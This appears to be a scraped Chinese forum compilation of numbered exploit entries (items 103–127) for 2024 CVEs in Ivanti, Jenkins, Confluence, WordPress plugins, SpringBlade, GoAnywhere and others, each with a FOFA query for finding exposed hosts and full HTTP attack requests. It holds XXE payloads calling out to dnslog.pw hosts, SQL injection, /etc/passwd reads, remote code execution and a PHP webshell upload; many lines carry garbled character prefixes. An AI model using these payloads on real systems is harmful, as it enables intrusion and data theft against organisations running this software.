2 a: ?  D& _$ v& s/ {0 nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
Accept-Encoding: gzip

<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
0 S2 h3 j: z4 w. V  C) ?
' [, P4 J  q3 ]3 U) `1 ^103. Ivanti Pulse Connect Secure VPN XXE
! w% D: g" Q/ }  @CVE-2024-22024
: W# F4 e% z( Q9 QFOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
: Q9 H* F( t8 dHost: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
2 k8 K4 Y$ J3 S1 ]( Q: ?( kConnection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
6 }5 S% E& G' W' Z3 d+ b1 A
SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==


其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
! Q9 O- D. I' m, p<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>

- i! a( u+ H9 ], ?7 W! R# K9 C% ^
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
+ ?) `  J* ]% f* kCVE-2024-0569
/ L, I0 z* E/ r. z# c: t# A' |2 UFOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
! I, C/ |" W- X: t" YHost:192.168.0.1
0 Z, R3 w/ k/ \; HContent-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
, ^: ^" u, a: b% |+ JX-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
" q1 x, x% _& I: @' _% hAccept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close

5 s- J. c7 L3 H  M( f{
"topicurl":"getSysStatusCfg",
"token":""
, p+ H. M0 i; ], j}

! L1 Y0 @) M  L$ m105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
4 k/ ~5 `& c. y$ W) t% `
106. SpringBlade dict-biz/list SQL 注入
! p3 l# Q% N! W/ ?FOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
' m5 y7 \. L7 a# q+ U' P) pHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
8 N3 q$ B5 }3 [! h* xAccept-Language: zh-CN,zh;q=0.9
Connection: close


/ o2 s6 @0 o9 h2 I5 E! T5 }5 P0 K107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
- R7 H# i2 \% d5 Y- ^4 F# CGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
) C1 y8 o$ [; j# @5 E- g8 FBlade-Auth:替换为自己的
Connection: close

& s) A: ~: J3 ^6 t7 I
  r, X/ S4 L1 {& Q108. D-Tale 3.9.0 SSRF
# b. c9 R3 X& l/ v6 C+ eCVE-2024-21642
FOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
& Z0 s  l; t* }8 MHost: your-ip
7 g  W4 D" g' ?$ VAccept: application/json, text/plain, */*
, c/ f3 l+ {* C$ X$ xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
6 E6 G! B- c6 b" \% fAccept-Encoding: gzip, deflate
5 Y5 y2 w6 Y3 \) M0 r) eAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


109. Jenkins CLI 任意文件读取
( h+ N! g0 n6 W, S* b4 a. [CVE-2024-23897
FOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
+ G# G6 J" Q- d' g/ R5 CHost:
; J3 N& l/ c7 U( _5 O2 {Content-type: application/octet-stream
, E5 D- q0 e* z+ _4 LSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
3 \6 m& M( E" E' g; E9 M  GSide: upload
Connection: keep-alive
' [& Q1 X- s8 x, sContent-Length: 163
, D- i" O5 H, G2 x
b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'


3 d3 l* \# k# {; q) [POST /cli?remoting=false HTTP/1.1
6 f4 |- {% `: HHost:
2 _$ h& [0 {- \1 m. a1 L$ W2 P! cSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
! _, h6 d1 ?" @: r' H  W4 K) [7 _download
Content-Type: application/x-www-form-urlencoded
5 a0 |3 y# U4 W4 R. m' RContent-Length: 0
- G- R& }$ V* o' c0 g

* X) X! Y6 j! R# f0 BERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
5 Q- K7 A4 U( L" {' }; G8 Xjava -jar jenkins-cli.jar help
- K" h+ r" ]8 ~+ _) P[COMMAND]
Lists all the available commands or a detailed description of single command.
# u- _2 J3 c, K  e0 O COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
2 f. l* c. U3 z$ L! G. z
9 q2 W. d$ A* ]$ A2 D6 |) K  x& D
# S4 W; D3 A7 ~8 X. b. S, M110. Goanywhere MFT 未授权创建管理员
. G7 r) d" @4 D+ W: S, i; V! aCVE-2024-0204
- u. M3 q: B% m  t& OFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
, ~  g, H4 _# Z8 J( RHost: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
' g  T" o$ Y; c, Y  u7 K& K% tAccept-Encoding: gzip
/ O9 A' y2 v2 C0 N9 q3 Q+ T6 E

111. WordPress Plugin HTML5 Video Player SQL注入
" m$ a) t* B: s, {/ gCVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
: f. ?% C7 q/ `& }* z" fHost: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
; Y- ?6 X( L% ^5 \+ D) K! fConnection: close
Accept: */*
' r* |% t' Z2 ^9 Y# j% EAccept-Language: en
Accept-Encoding: gzip
& x/ u  E( G% ~) _& y

112. WordPress Plugin NotificationX SQL 注入
* U) w4 A9 b6 j; Z/ aCVE-2024-1698
1 f  Y1 b- ^2 E# {: i% [FOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
8 d0 c3 v; p% h3 z
{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}

, L5 e) y* B- z
113. WordPress Automatic 插件任意文件下载和SSRF
% J1 p9 U  x- W  M( N; mCVE-2024-27954
3 `1 w: [6 m  |( ^# QFOFA："/wp-content/plugins/wp-automatic"
0 i# L& Z8 K  b  zGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
+ P- r, x8 S! ?2 `) h, hUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
; F  @4 Y) F9 u1 D! b2 h: uConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
3 v; b4 j$ `" ^! A7 q4 Q* U& c9 Y2 w" |
( ?/ O. i1 Y& g- e! Z
& e0 _( _- O, k114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
" u; G/ Z+ [7 D1 eGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

7 G- d% |3 z% {. Z0 Y# r" x; E# N
115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
9 B3 C6 O8 c1 C$ N$ b% cGET / HTTP/1.1
, ~+ W: J$ r8 ?+ G  ~) yHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
7 b( K8 }/ P* j- A( TConnection: close
7 t/ L# i) n; E9 L* Z" UAccept-Encoding: gzip


! P" N0 f9 s* F6 G6 \第二步替换nonce值，执行命令
/ D) A# w* R" v; y& O" zPOST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Content-Length: 356
Content-Type: application/json
Accept-Encoding: gzip

/ P. \  q* }  X  d( a- r" z: P: X{
+ e' K2 E4 X# P1 u+ s) n4 s- g- t# l! {"postId": "1",
  "nonce": "第一步获得的值",
  "element": {
+ i4 \7 `1 R% \. n8 L/ T+ m3 A    "name": "container",
1 o2 S5 a; i9 y" T# {) F    "settings": {
" ~/ M' R8 c8 D& b1 g/ h      "hasLoop": "true",
      "query": {
  r) Q: C% }. P9 Z* p8 \2 W, n$ C0 T        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
/ y% ?; b, i- D) _% R) Q      }
; L2 ?. X* {- T8 o$ q0 S, w    }
  }
}

! h, I! W: q5 s6 P1 X$ k
116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
# H# B; V5 `2 i# d/ T- j; KPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
& {" o" S4 s& RHost:
: v' C" K3 {. E/ ?" n; s) Y% eContent-Type: multipart/form-data; boundary=--------767099171
6 O% q1 G- r9 ^; H3 i& eUser-Agent: Mozilla/5.0

8 Q) g$ r3 q+ B' m4 d----------767099171
Content-Disposition: form-data; name="action"
configuration_saveconfiguration
----------767099171
Content-Disposition: form-data; name="form_request"
8 w+ r. R, D# ^) w9 B- K% wjssupportticket
----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
4 ?0 ]( z6 s. Y9 F0 Q----------767099171--


117. WordPress LayerSlider插件SQL注入
4 I! R7 e; M: T# Iversion：7.9.11 – 7.10.0
, M/ v# c) [! L, n/ a7 b! ]+ i2 KFOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
# S) J5 @' j0 W7 {Connection: close
2 s+ k0 p3 V# M% C6 pUpgrade-Insecure-Requests: 1


! M. ?  \& O( Q* J# y( L! A- Z" e) k118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
8 |( M, J2 s( D, OCVE-2024-0939
FOFA：title="Smart管理平台"
; m; |2 Q1 ^+ w. k; F4 C6 sPOST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
/ R% h) N/ A$ h5 Y' L% PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 S9 v1 R5 z% _  F' I1 D8 n" OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( K# u; m4 J0 f& s; tAccept-Encoding: gzip, deflate
0 j6 O5 r$ L( Y% l4 P; T! HContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
/ y* t- q# Q, L* X* ^( u3 e! iContent-Length: 405
Origin: https://192.168.40.130:8443
( q" R0 b. c, @4 Y: eReferer: https://192.168.40.130:8443/Tool/uploadfile.php
4 H) L7 k% z7 f( a$ W$ LUpgrade-Insecure-Requests: 1
5 Z8 P0 `6 F7 H4 q; XSec-Fetch-Dest: document
! R: Z: E7 Z- ?; _& @7 XSec-Fetch-Mode: navigate
) p4 U$ R2 Q0 s& K2 LSec-Fetch-Site: same-origin
+ I4 h' u+ ]. R5 w4 \4 V" fSec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------13979701222747646634037182887
) m7 c, v& J0 ^% XContent-Disposition: form-data; name="file_upload"; filename="contents.php"
- @3 W5 E  ?: j' i. g' ?Content-Type: application/octet-stream
  t) x- g7 c: E) [
5 e4 D, V6 l1 [8 Z/ F. ?( V- P<?php
, g' U8 Z3 \. l9 nsystem($_POST["passwd"]);
  B  }) H3 v4 B% z% L" V?>
' v& @( }/ t; e5 ]9 A9 w-----------------------------13979701222747646634037182887
3 M6 T9 y  u1 L; x0 Z) mContent-Disposition: form-data; name="txt_path"

2 j; K, b; [7 K2 A5 [0 v- E$ w/home/src.php
-----------------------------13979701222747646634037182887--
. ]8 h$ z5 |$ \# A" p, F6 L
# J; b' `, z' G
访问/home/src.php
3 R, D( Q4 O9 B: ~* x9 q
4 B9 f1 }8 O% r5 N$ _119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
FOFA：title="Smart管理平台"
8 X& _' j& ^3 c2 G先登录进入系统，默认账号密码为admin/admin
1 M2 s7 f" F: P9 D( w. Z' NPOST /sysmanage/sysmanageajax.php HTTP/1.11
) Q6 R) T2 X& l, d5 x+ N2 jHost: x.x.x.x
, G% P3 a( q! W4 Z- p& D8 ECookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
6 c; D2 u/ l1 m" [+ s% C& OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
7 X1 ~% R4 h2 V* B; V7 C6 EAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  Q9 b& e( z/ ]Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
1 A) x8 S+ z* `* b# TOrigin: https://58.18.133.60:8443
7 I# q0 v- r: P. [* WReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
6 ~. W* P7 s, \4 [. @Sec-Fetch-Dest: empty
7 Y+ X! _; V- `Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
' Y% t9 |7 L0 s9 O7 DX-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
1 @! l' Q# d+ I2 E( J) Y& gX-Remote-Addr: 1.1.1.1
# S/ [2 R* A3 J5 N" n, R, uTe: trailers
Connection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456


; L4 M# I7 M4 f2 w; f! {0 ]  A120. 北京百绰智能S40管理平台导入web.php任意文件上传
1 }, z* g' v  g+ L* YCVE-2024-1253
! z9 C9 C+ E0 Z/ _/ A0 |' @FOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
  y, a& `8 t  fHost: ip:port
# j- n- u; V- _3 e' UCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
5 U2 x# _- f, Z# ~User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
8 ^; H. {- j" {& ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 X- F6 o# I  L7 A' ?7 U  m, TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
% G8 M& n: q4 I' SContent-Length: 597
Origin: https://ip:port
5 H6 m' _4 i: S, ?Referer: https://ip:port/sysmanage/licence.php
6 N7 n0 m; k0 I1 x  wUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
, r1 q4 h' i$ I4 YSec-Fetch-Site: same-origin
* r( F$ n! G3 S! r  x) s+ xSec-Fetch-User: ?1
Te: trailers
# H: L) E  a3 h9 S: _' p' F$ cConnection: close

-----------------------------42328904123665875270630079328
$ \2 R+ G" c% T3 v/ L; ?0 MContent-Disposition: form-data; name="file_upload"; filename="2.php"
/ v# p% E" _! @; oContent-Type: application/octet-stream

<?php phpinfo()?>
  p/ [3 q, F2 k# m" w6 N  J6 C-----------------------------42328904123665875270630079328
7 z* d) ~& e6 I( t4 `Content-Disposition: form-data; name="id_type"

! y' W1 D  a9 @) E& l: L( a1
& V3 C" ~) p" }) A-----------------------------42328904123665875270630079328
. `( f0 a! p0 }7 U. a3 lContent-Disposition: form-data; name="1_ck"

1_radhttp
-----------------------------42328904123665875270630079328
3 x+ z0 n3 n& X) d) B1 VContent-Disposition: form-data; name="mode"

! R3 O: V- H/ I3 B4 O9 R. ^; E4 zimport
-----------------------------42328904123665875270630079328

2 r( F7 {5 V4 G6 h# A; _  h
文件路径/upload/2.php
, ]+ n! ^9 Z, Q
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
3 S/ z3 W4 M& rCVE-2024-1918
FOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
# S. G5 }! ?! W1 T, W% x. Q* n7 v0 W! n" tHost: 192.168.40.130:8443
- |6 o/ K- C0 Y( bCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
- q1 R  H' c) N. m+ aUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
- x/ w% L& i9 IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
* M4 b7 }# \; K2 L: VContent-Length: 592
' I) U8 c5 f! c3 _Origin: https://192.168.40.130:8443
7 |+ m! \7 k6 ZUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
+ Z; c% `  C3 Y# C% ~Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
  x5 y$ y9 l7 FTe: trailers
Connection: close
" h) p& U- K; G, T- H6 h
2 o7 u" d* V) `  g( k$ _-----------------------------42328904123665875270630079328
# ]& l- n( x' v' p& h0 KContent-Disposition: form-data; name="web_img"; filename="1.php"
% B" f) H% F# c# ]Content-Type: application/octet-stream
' b/ G. K" c  u9 L, ]- y6 ?& U
<?php phpinfo();?>
8 T7 h' R5 w1 {) V- R-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
4 C5 R8 a, m3 ]5 t* N5 a( C
1
: i' R0 l2 `# N. e: ~-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
" j( p: D1 j$ B- r1 B- {6 U; n, h
1_radhttp
& O# z  F3 O3 W-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"
$ @& U. k" {  h# q2 _
set
$ I8 L1 @! C/ [: z% T5 w, B-----------------------------42328904123665875270630079328

$ ^9 P- p' m) M" E( m" T
: A2 ?2 p1 y- h: m6 @boot/web/upload/weblogo/1.php

& }- z0 K. D/ K. |; a, Q( M122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
% ?( ^8 `4 {( r/ ^5 j1 ]GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
6 \, N7 ]  ~$ k& a: J3 Y- b, LHost: x.x.x.x
3 f, I* @, V* j' j/ T7 x, z+ eCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
( A& ], r4 q6 U9 MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
8 Q6 D8 ?9 t- x2 b5 M2 [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
1 Y% d: V( ~' }! A4 s: M2 B/ QSec-Fetch-Site: none
+ [" x8 @/ S8 E  N- [* _Sec-Fetch-User: ?1
Te: trailers
- o8 b5 h: C" h( `/ NConnection: close
, Y+ p2 \6 k/ c+ Q  f; g% i

4 j3 h/ J$ q4 d, M6 L- Y. d, S123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
0 n4 D$ a' d4 X& P" sPOST /template/aui/text-inline.vm HTTP/1.1
  h, k" y4 r& i; i( Z; v, _Host: localhost:8090
Accept-Encoding: gzip, deflate, br
( E, y" i% l' j$ u7 iAccept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
2 l- h3 o  H( n  N3 cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
- g, k! Q" X/ b2 U% Q5 j3 W! {0 @Connection: close
Content-Type: application/x-www-form-urlencoded
. d6 d8 F5 @/ t) W. Z. I& i
# ?4 g- k- n$ _* tlabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
. A1 O' y  H/ B8 a8 a  P( Z
* b5 U3 k, N( ?( h. `( C7 e: k
+ d5 Z- i% F4 w124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
) ]  k  [# ]: M' @. E2 F( N6 G; WHost: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
0 \% v1 {! _; w. W4 y7 ^0 O1 S$ eContent-Length: 72
. Z! ?, S, Y+ r2 z8 bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
/ }7 e$ F6 l" QAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
% y& a0 N! q" nContent-Type: application/x-www-form-urlencoded

filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
- k1 ^" ^: a8 U) D* ]; ]

' T, c8 e4 a0 h( K. t$ [+ ghttp://192.168.40.130:8282/Scripts/abcgcg.aspx

3 O+ ?( K$ t* \$ d# o125. ConnectWise ScreenConnect身份验证绕过
! p: B$ P0 u  b" X3 A1 OCVE-2024-1709
FOFA：icon_hash="-82958153"
8 W3 T6 u, e" L8 x8 lhttps://github.com/watchtowrlabs ... bypass-add-user-poc
# u4 u" k, @1 a7 r' Q$ A
2 k2 B1 o+ t4 P' x( a, }: q
  n" C1 r5 m4 S+ q4 S( d+ ?使用方法
, I+ }4 p3 B, a0 @6 Y2 H) R$ g$ opython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
7 i( q- ^0 y& J( B

创建好用户后直接登录后台，可以执行系统命令。

3 H, a( C  H0 Y1 F& B6 k0 D$ V" n126. Aiohttp 路径遍历
9 s# c+ N5 _; P0 D1 u; O( ~FOFA：title=="ComfyUI"
0 W* u0 T8 L$ a! S+ \) DGET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
. m  m. K+ b) R, I7 I4 YAccept-Encoding: gzip
' Z% Z6 w0 x7 ^; a' r: g7 o
3 \, w9 y/ t% r( ?- v
127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
7 u8 H/ S+ {  qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ I  ~0 b' Q" ?) [- X* H* SAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
